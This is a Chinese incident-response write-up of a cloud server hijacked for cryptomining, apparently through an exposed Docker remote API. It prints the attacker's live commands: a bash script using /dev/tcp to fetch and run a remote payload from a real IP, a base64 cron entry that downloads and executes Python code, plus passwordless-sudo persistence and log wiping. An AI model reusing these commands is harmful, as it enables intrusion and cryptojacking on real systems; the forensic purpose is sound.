一次悲惨的被挖矿经历
出品|MS08067实验室(www.ms08067.com)
本文作者:500(Ms08067实验室成员)
一、事件起因
上周想着部署一个分布式文件系统,我就在阿里云上申请了一台机器,部署了docker并安装Simpledfs,可不想刚云主机刚配置没两天,就发现机器的cpu使用率飙升,控制台各种告警。登录上去先看top一下看看系统的状况,发现这个bash脚本几乎占用了全部cup,估计是被黑了。
我赶紧去查看机器历史操作,通过history命令查看历史操作,发现内容已经被清空,日志文件也全部被清空,并且docker服务也被关闭了。
经过排查发现,这台机器开放了ssh服务22端口、本地smtp25端口、sshd守护进程222端口,以及docker服务的端口。对外暴露了ssh,第一个想到的就是先查看一下ssh的版本。
查看该版本中有哪些漏洞可能被攻击者利用,排查了可能被利用的OpenSSH 安全认证绕过漏洞(CVE-2016-10012)、SSH登陆验证绕过漏洞(cve-2018-10933)等漏洞的利用方法,但并没有发现可直接利用并获取到root权限的方法。
那么攻击者有没有可能利用docker的漏洞,然后从容器中逃逸出来呢?这时我想到了docker remote API未授权访问漏洞,攻击者可以利用docker API 2375端口,通过接口执行容器命令。然后将/root/.ssh目录挂载到容器内,进而把ssh公钥写入进去,修改权限为600,然后就可以以root用户登录了。
参考:http://blog.nsfocus.net/docker-remote-api-unauthorized-access-vulnerability/
二、我们来看看攻击者做了哪些操作
1、攻击者创建了一个新的账号,查看/etc/passwd文件,发现新增了一个用户tech,创建的时间是22:12
tech:x:1000:1000::/home/tech:/bin/bash
2、攻击者将tech用户加入到wheel组,并且修改了/etc/sudoers文件。(这个文件的权限被篡改过,应该是先加上了写权限,篡改完成后又改回了440权限,并配置了wheel组用户使用sudo到root时不需要输入密码。)
3、随后攻击者下载了工具集busybox,被阿里云侦测到。
4、攻击者将根目录换成指定的目录,
chroot /mnt /bin/sh -c cd /opt/
并写入z.sh,
echo '#!/bin/bash' > z.sh
echo 'read proto server path<<<$(echo ${1//// })' >> z.sh
echo 'exec3<>/dev/tcp/42.51.64.146/443' >> z.sh
echo 'echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3' >> z.sh
echo '(while read line; do' >> z.sh
echo '[[ "$line" ==$'\''\r'"'"' ]] && break' >> z.sh
echo 'done && cat) <&3'>> z.sh
echo 'exec 3>&-' >> z.sh
bash z.sh zz.sh > zz.sh ; bash zz.sh
rm -rf zz.sh
其中里面包含了一个ip地址,威胁情报信息如下:
在系统的opt目录下,果然存在z.sh
#!/bin/bash
read proto server path <<<$(echo${1//// })
exec 3<>/dev/tcp/42.51.64.146/443
echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] &&break
done && cat) <&3
exec 3>&-
5、攻击者尝试写入后门程序,进行权限维持/usr/sbin/stable 但阿里云盾拦截了该后门程序。
6、22点14分至22点47分这段时间,攻击者kill掉了阿里云盾的防护,并下载挖矿程序。这个过程由于阿里云盾下线,日志被清理。未获取到更多信息。
7、随后,攻击者下载了挖矿程序并进行了安装。在/root/.ssh中出现了xmrig和config.json文件,时间是22:49
Xmirg是一款比特币挖矿软件,可以通过匹配到的矿池内容修改相应的config.json文件。
参考:https://www.dxpool.com/help/zh/kva-mining-tutorial
8、在usr/bin中发现了运行着的bash脚本,应该是运行全套挖矿程序的脚步程序。
查看下Bash脚本的运行状态以及网络连接情况
9、至此攻击者还不满足,他还替换了计划任务文件,设置挖矿的计划任务。
修改了/etc/ssh/sshd_config、/etc/cron.d、/etc/cron.hourly等计划任务文件。
/var/spool/cron/root中的内容如下:
*/2 * * * * pkill tail >/dev/null2>&1
*/2 * * * * pkill masscan >/dev/null2>&1
# https://anonpasta.rocks/raw/atucewakep
# 205.185.113.151\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExMy4xNTEvZC5weSIpLnJlYWQoKSkn(比特币钱包地址)
10、最后,攻击者将系统的日志文件全部删除,包括
/var/log/cron、/var/log/secure、/var/log/messages、/var/log/maillog、/var/log/spooler等。
三、总结
随着数字货币价格的上涨,越来越多的攻击者开始利用系统漏洞进行挖矿,攻击者操作老练,思路清晰,一看就是做过多年的老手了。
大家要加强安全意识,不要将危险端口暴露在公网,及时更新系统组件,并升级安全补丁。
转载请联系作者并注明出处!
Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
官方网站:https://www.ms08067.com/
扫描下方二维码加入实验室VIP社区
加入后邀请加入内部VIP群,内部微信群永久有效!